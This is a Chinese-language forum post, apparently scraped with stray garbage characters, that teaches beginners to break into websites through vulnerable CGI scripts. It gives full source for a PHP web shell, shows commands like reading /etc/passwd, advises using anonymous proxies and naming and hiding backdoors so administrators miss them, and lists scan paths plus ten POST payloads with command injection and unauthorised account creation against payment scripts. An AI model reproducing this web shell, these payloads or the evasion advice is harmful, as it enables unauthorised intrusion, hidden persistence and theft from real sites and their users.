CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
% ?- |2 p# ?5 q0 [+ I7 ~8 Q很开心来到贵论坛
; b1 h: `1 @3 y  H, o这里让我感觉 很有技术交流的感觉
/ j& f6 u9 M  _7 ~我会长长来玩的
前言:
/ h5 S. ~# X5 x6 Y7 L5 Q6 R+ ?以下讲解针对欧美日本网站
* W; E7 E. g. U, V當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
, Y' W$ Q. ^* L4 u" A' R  s所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

只是个人在实务上一些经验
, q4 u, }! x, K. E- ?写的不好 请多多见谅喔
  f, \8 c$ S& ?, C& I, ~7 s在这里我简单分为几个部份一定要會的
讲解一下
, \$ V) q! Y4 H0 Q6 n0 s! N  J9 J让没有基础的人很容易上手
9 V0 K; A% C" g5 X6 O9 {
以下内容跟帖回复才能看到
% v! K. F2 g  t) p5 W( `2 k$ A- G==============================
+ m, c6 l% r; R( }6 U4 _
" x9 P! y% y6 X2 L" c. R第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
( F! N9 D6 ]: G! y! }意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
) S6 i3 c0 n& D* |  M) O7 ]要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
$ m' O" I) P. n# |所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
. b% C  |+ {, m4 j4 ]
第2部份: Unix 指令
# r5 D3 Y4 `$ L以下是一些常见及重要的指令:
) K! D& S2 H5 p6 l: m8 Npwd: 显示当前目录, 即是後门/程式所在的位置
5 H' Q0 i6 p6 x/ c# [( S如 /home/www/site.com/cgi-bin/
3 i3 u+ a$ w# E$ E+ a; k. vls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
# T9 ]  i0 ~. H1 k) Bls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
, o7 g, m- |/ y9 Z" A. j6 r+ v3 v9 _3 Kls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
1 N6 B! m! a3 L# A) Tcat /etc/passwd: 显示 /etc/passwd 这个档案的内容
( S. M& @. F& B9 `  |7 g+ P& j4 cwho: 显示谁login 至系统
: P' G5 M, ]' [& _( U$ ?8 U1 Oman: 显示指令用法  
6 L$ k, A( e7 W6 l3 j( C; F1 hman ls: 显示ls这指令的用法  
mkdir 建立目录
. a* x' a: B$ D4 K2 trmdir 删除目录
% Z. A: d& `; T2 x6 T4 Y# }mv 移动档案
rm 删除档案

第3部份: Shell的使用
例如:
* P+ y2 F" r, N0 h! ^http://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
; {3 j% v2 i4 I5 |- f& U2 y<Input type="text" name="cmd">
4 G8 R" w% E* Z+ a1 d3 v) v<Input type="Submit">
) s1 b# p( f8 V+ d" t$ H</Form>
% ]' Q4 g, a0 l8 i% q3 w<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
) K. s. G; G9 q5 Becho $Output;
. Q) }: @# r6 b  e4 U* g?>
6 ?7 O( Q5 Q- z+ Y1 D输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
% d9 W% g* I% }6 w5 x: ?$ C8 \: ]
第4部份: 注意事项
- 使用匿名代理, 保障自己
4 H* @/ R+ }% W7 q4 e3 Q6 [- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
) ^  z9 f$ I$ Q% Z" [8 `+ A# T8 Y- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
: z2 o% ~6 p$ f: s( _- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
$ ?' g7 K6 l& q, y) y/ x- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
0 \2 `( s7 d7 q4 C9 `针对网站的渗透分析方法太多了
2 t- {3 F* L0 j' N: N; h这篇文章的重点是cgi 脚本攻击
# |0 D$ O3 y5 f& n6 I所以我用简单的叙述形容
开始讲解脚本入侵过程:
7 k; ^  t8 j* m; G0 {在这里提供一些方法思路让大家学习一下
  z. g8 x) A4 {4 L& @
" V$ F) }, v( A+ O/ [# {; I1.一开始对一个网站进行cgi漏洞扫描
% i; s; Y: }  t+ O我们需要的东西有
3 A! @0 c" [( Q# W8 A0 Q" ]5 p扫洞工具 如:triton..等等
E表
如
! ~& M4 m" W; D2 L/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
& V6 R- \8 V. L3 c: |: r8 Y1 O% r% |. bE表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
% q% t- @* N$ d) Y" A6 P一般都是在IE里先看一下的,记住这个返回码哦
/ I# ?7 l, `+ d+ ?/ MERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
% n; ?) J. r# g. y因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
+ S7 I/ s8 t" u" N" n) {7 S$ D* R8 m! L8 ~可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
/ `" _+ J; R  A" g; ]/ d& a
6 ~* \* h" \3 `+ e, s0 j# c8 Q以下我提供10个 cgi 洞以及使用方法post
, C; E/ b5 U) X4 v0 ]让大家可以针对网站去做扫描  
' D  g' k% L; N# [' L/index.cgi
wei=ren&gen=command
2 a$ j% M2 ?  e5 }/passmaster.cgi
Action=Add&Username=Username&Password=Password
8 ?8 I1 @$ c. v7 ?$ r/accountcreate.cgi
) p1 s9 T" K  C; |; m2 }username=username&password=password&ref1=|echo;ls|
- C  ?: o+ v9 y" ~, [' b/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
& g8 N0 Z( ?; ^/cgi-bin/EuroDebit/addusr.pl
& l% z" k  N, ^: e' zuser=username&pass=Password&confirm=Password
( h% U0 S0 _% I. b: U0 t/ccbill-local.asp
2 a" Z$ K- _- w* v  Qpost_values=username:password
/count.cgi
8 B: u- Y- {& r( f- k1 H  J+ ~; Bpinfile=|echo;ls -la;exit|
$ {+ ~$ _+ d, N1 A9 J9 K) X/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
# l  H( n7 o, l5 x/af.cgi_browser_out=|echo;ls -la;exit;|

  U! e3 e- `+ L  g) m! Y2 A今天就讲到这  感谢大家支持
6 _( o# I3 f' R: v+ P3 L2 V